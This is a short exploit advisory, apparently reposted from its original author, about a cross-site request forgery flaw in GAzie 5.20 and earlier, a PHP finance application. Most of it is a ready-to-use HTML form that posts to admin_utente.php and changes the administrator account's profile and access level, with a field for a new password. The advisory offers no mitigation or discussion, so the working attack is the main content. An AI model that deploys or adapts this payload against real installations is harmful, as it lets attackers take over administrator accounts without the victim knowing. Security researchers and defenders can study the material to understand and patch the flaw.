标题：GAzie <= 5.20 Cross Site Request Forgery
========================================
作者: giudinvx www.2cto.com   <giudinvx[at]gmail[dot]com>
网站: http://www.giudinvx.altervista.org/
--------------------------------------------------------
@程序信息:
Multicompany finance application written in PHP using a MySql
database backend for small to medium enterprise. It lets you
write invoices, manage stock, manage orders , accounting, etc.
Send tax receipt to electronic cash register.
@Version 5.20 http://sourceforge.net/projects/gazie/
--------------------------------------------------------
==============[[ -测试代码- ]]==============
<form enctype="multipart/form-data"
action="[ www.2cto.com ]/modules/config/admin_utente.php?Login=amministratore&Update"
method="POST">
<input type="hidden" name="Login" value="amministratore">
<input type="hidden" value="" name="Update">
<input type="text" value="Surname " name="Cognome" title="Cognome">
<input type="text" value="Name " name="Nome" title="Nome">
<input type="text" value="italian" name="lang">
<input type="text" value="9" name="Abilit"><br/>
Password
<input type="password" value="" name="Password"><br/><!-- at least
eight alphanumeric characters -->
Repeat password
<input type="password" value="" name="confpass"><br/>
<input type="submit" value="START THE GAME" name="Submit">
</form>